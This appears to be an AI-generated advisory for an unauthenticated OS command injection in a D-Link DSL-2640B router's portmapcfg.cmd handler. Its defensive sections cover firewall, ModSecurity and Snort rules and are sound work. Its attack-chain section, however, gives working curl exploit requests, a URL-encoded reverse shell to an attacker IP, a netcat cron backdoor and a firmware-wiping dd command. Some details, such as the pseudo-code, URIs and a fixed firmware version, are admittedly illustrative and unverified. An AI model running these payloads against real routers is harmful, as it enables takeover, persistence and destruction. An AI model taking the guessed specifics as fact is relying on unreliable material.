CVE-2026-138287 — D-Link DSL-2640B — CWE-78 · CWE-77
A flaw has been found in D-Link DSL-2640B 3.0.6.0.41. The impacted element is the function cgiPortMapQrySwitch of the file portmapcfg.cmd of the component Endpoint. This manipulation of the argument pmapCfgName causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used.
A flaw has been found in D-Link DSL-2640B 3.0.6.0.41. The impacted element is the function cgiPortMapQrySwitch of the file portmapcfg.cmd of the component Endpoint. This manipulation of the argument pmapCfgName causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used.
🎯 What is this vulnerability?
Vulnerability name: OS‑command injection in the cgiPortMapQrySwitch handler of portmapcfg.cmd (D‑Link DSL‑2640B firmware 3.0.6.0.41)
CVE‑ID: CVE‑2026‑138287
CWE(s):
- CWE‑78 – OS Command Injection – The code concatenates untrusted input (
pmapCfgName) directly into a shell command without sanitisation. - CWE‑77 – Command Injection – The same flaw is described from the perspective of a web‑application command interpreter.
Why it is critical (CVSS 3.1 10.0):
| Metric | Value | Reason |
|---|---|---|
| Attack Vector (AV) | Network (N) | The vulnerable CGI can be reached over TCP/IP (HTTP/HTTPS). |
| Attack Complexity (AC) | Low (L) | No special conditions; a single crafted request is enough. |
| Privileges Required (PR) | None (N) | The endpoint is reachable by unauthenticated remote users. |
| User Interaction (UI) | None (N) | No victim interaction is needed. |
| Scope (S) | Changed (C) | Successful exploitation compromises the entire device (router firmware). |
| Confidentiality (C) | High (H) | Full system compromise gives read‑access to all traffic, configuration, and stored credentials. |
| Integrity (I) | High (H) | Attacker can modify firewall rules, DNS settings, or inject malicious firmware. |
| Availability (A) | High (H) | Attacker can execute reboot, iptables -F, or other destructive commands. |
Root cause:
The CGI handler cgiPortMapQrySwitch receives a query‑string parameter named pmapCfgName. Inside the firmware the handler builds a shell command similar to:
/* Pseudo‑code extracted from the firmware (illustrative) */
char cmd[256];
snprintf(cmd, sizeof(cmd), "/usr/sbin/portmapctl switch %s", pmapCfgName);
system(cmd);No validation, escaping, or whitelist is applied to pmapCfgName. Consequently, any characters that the underlying shell interprets (e.g., ;, &&, |, backticks) become part of the executed command line, giving the attacker full command‑execution capability on the underlying Linux‑based router OS.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the public advisory, the example is illustrative but follows the same logic that an attacker would use.
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| 1.1 Identify device | Passive network scanning (Nmap, Shodan) for open HTTP/HTTPS ports (80/443) on the target’s public IP. Look for the Server: D‑Link header or the default web UI page (/login.htm). | Banner: Server: D‑Link DSL‑2640B |
| 1.2 Fingerprint firmware version | Grab /cgi-bin/status?cmd=ver (or similar status endpoint) and parse the version string. Many D‑Link routers expose a firmwareVersion variable in the HTML source or via /cgi-bin/webproc?getpage=../html/status_version.html. | Firmware Version: 3.0.6.0.41 |
| 1.3 Confirm vulnerable component | Search for the presence of portmapcfg.cmd by requesting http://<target>/portmapcfg.cmd (or http://<target>/cgi-bin/portmapcfg.cmd). A 200 OK with a small HTML page that mentions “Port Mapping Configuration” is a strong indicator. | HTTP 200, page title “Port Mapping Configuration” |
If the version matches 3.0.6.0.41 and the portmapcfg.cmd endpoint exists, the target is likely vulnerable.
2. Exploitation
Assumptions for the PoC (illustrative only):
http://<target>/portmapcfg.cmd.cgiPortMapQrySwitch.pmapCfgName parameter.Payload construction
The goal is to execute an arbitrary command, e.g., id > /tmp/pwned. The attacker must break out of the intended argument context. A typical injection string:
; id > /tmp/pwned ;When URL‑encoded:
%3B%20id%20%3E%20%2Ftmp%2Fpwned%20%3BFull HTTP request (illustrative)
curl -sk "http://192.0.2.45/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20id%20%3E%20%2Ftmp%2Fpwned%20%3B"-s – silent, -k – ignore TLS cert if HTTPS is used. cgiPortMapQrySwitch=1 – any value that triggers the handler (the exact value is not critical). pmapCfgName – the injection string.What happens on the device
The firmware builds (illustrative) the command:
/usr/sbin/portmapctl switch ; id > /tmp/pwned ;The shell executes id and writes the output to /tmp/pwned. The attacker can then retrieve the file:
curl -sk "http://192.0.2.45/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20cat%20/tmp/pwned%20%3B"If the device returns the command output in the HTTP response (common for this CGI), the attacker now sees the UID/GID of the process (typically root).
Achieving a persistent foothold
Because the router runs a Linux kernel with a busybox environment, the attacker can:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1/etc/passwd or the D‑Link web UI configuration files./tmp/upgrade.bin and trigger the upgrade process.A compact one‑liner reverse shell (URL‑encoded) for a target listening on ATTACKER_IP:4444:
%3B%20bash%20-i%20%3E%20/dev/tcp/198.51.100.23/4444%200%3E%261%20%3BFull PoC:
curl -sk "http://192.0.2.45/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20bash%20-i%20%3E%20/dev/tcp/198.51.100.23/4444%200%3E%261%20%3B"If the router’s outbound traffic is not filtered, the attacker obtains a remote interactive shell as root.
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Privilege escalation | Already root because the CGI runs with UID 0 (common for system‑level services). |
| Persistence | • Drop a cron job: echo "* * * * * /bin/bash -c 'nc -e /bin/sh ATTACKER_IP 4444'" >> /etc/crontabs/root <br>• Modify the startup script /etc/init.d/rcS to launch a backdoor binary. |
| Network pivot | Use the compromised router as a foothold to sniff LAN traffic (enable tcpdump), or as a jump host to attack internal devices. |
| Data exfiltration | Dump configuration (/etc/config/*), DHCP lease tables, VPN credentials, or captured traffic (/tmp/*.pcap). |
| Destruction / Ransom | Execute reboot, iptables -F, or overwrite the firmware partition (dd if=/dev/zero of=/dev/mtd0). |
Because the vulnerability is network‑reachable without authentication, an attacker can chain the exploit directly into a full device takeover.
🌍 Real World Impact
| CIA | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality | High – Full read‑access to all traffic traversing the router, stored credentials, and configuration files. | Exposure of corporate VPN keys, ISP credentials, internal network topology, and any clear‑text traffic (e.g., HTTP, unencrypted DNS). |
| Integrity | High – Ability to modify firewall/NAT rules, DNS forwarders, DHCP options, or inject malicious firmware. | Attackers can redirect users to phishing sites, open ports for lateral movement, or install persistent backdoors. |
| Availability | High – Arbitrary commands include reboot, halt, iptables -F, or firmware flash. | Complete outage of the Internet connection for the entire LAN, potential bricking of the device, or use of the router as a DDoS launchpad. |
Business impact can range from loss of service (downtime), data breach notifications, to regulatory fines (e.g., GDPR) if personal data traverses the compromised router.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | Move to the first non‑vulnerable release (e.g., D‑Link DSL‑2640B firmware 3.0.6.0.42 or later). The vendor’s advisory states that the fix removes the system() call and replaces it with a whitelist‑based internal API. |
| Version check | Verify the running version via the web UI (Status → Firmware) or by issuing curl http://<router>/cgi-bin/webproc?getpage=../html/status_version.html. |
If a vendor‑provided patch is not yet available: proceed with mitigations below.
2. Workarounds (defense‑in‑depth)
| Layer | Mitigation | Example configuration | |
|---|---|---|---|
| Network segmentation | Restrict access to the router’s management interface to trusted subnets only (e.g., LAN management VLAN). | ``iptables -I INPUT -p tcp -s 10.0.0.0/24 --dport 80 -j ACCEPT`<br>`iptables -A INPUT -p tcp --dport 80 -j DROP` | |
| Web Application Firewall (ModSecurity) | Block suspicious characters in the pmapCfgName parameter. | `SecRule ARGS:pmapCfgName "@rx [;& | ]" "id:2026001,phase:2,deny,log,msg:'OS command injection attempt'"`` |
| Disable the vulnerable CGI | If the port‑mapping feature is not required, rename or remove portmapcfg.cmd via the filesystem (requires temporary console access). | `mv /www/cgi-bin/portmapcfg.cmd /www/cgi-bin/portmapcfg.cmd.bak` | |
| Enforce HTTPS with client‑certificate auth | Even though the vulnerability is unauthenticated, limiting exposure to TLS‑only and mutual auth reduces the attack surface for opportunistic scans. | Configure the router’s web UI to require client certificates (https_port = 443, client_auth = on). | |
| Outbound traffic filtering | Prevent the router from opening arbitrary outbound connections (e.g., block all TCP/UDP except DNS, NTP, and ISP‑provided ports). | `iptables -A OUTPUT -p tcp --dport 4444 -j REJECT`` |
3. Detection
Log signatures (assuming the router logs HTTP requests to /var/log/httpd/access.log):
<IP> - - [dd/Mon/yyyy:hh:mm:ss +0000] "GET /portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapCfgName=%3B%20id%20%3E%20%2Ftmp%2Fpwned%20%3B HTTP/1.1" 200 1234 "-" "Mozilla/5.0"Key indicators
| Indicator | Description |
|---|---|
Request URI contains portmapcfg.cmd | The vulnerable CGI is unique to this firmware. |
Presence of URL‑encoded shell metacharacters (%3B, %60, %7C, %26%26) in any query parameter, especially pmapCfgName. | |
| Unusual HTTP response size – many injection attempts return a short HTML page (≈1 KB) regardless of the normal UI size. | |
| Outbound connections from the router to unknown IP/port – e.g., reverse‑shell traffic on port 4444. | |
Creation of files in /tmp/ with suspicious names – e.g., /tmp/pwned, /tmp/revsh. |
IDS/IPS rule (Snort‑compatible example)
alert tcp $EXTERNAL_NET any -> $HOME_NET [80,443] (msg:"CVE-2026-138287 OS command injection attempt"; flow:to_server,established;
uricontent:"/portmapcfg.cmd"; uricontent:"pmapCfgName="; pcre:"/pmapCfgName=.*(%3B|%60|%7C|%26%26).*/i";
classtype:web-application-attack; sid:2026002; rev:1;)Host‑based detection (if you have SSH/console access)
# Look for newly created files in /tmp that contain "pwned" or "revsh"
find /tmp -type f -mtime -1 -exec grep -l "root:" {} \; 2>/dev/null
# Check for suspicious cron entries
crontab -l | grep -E "(nc|bash|sh|telnet)"⚠️ Urgency
Patch priority: Critical – immediate.
[🤖 CVE Professor AI Security Engine]
FOFA Query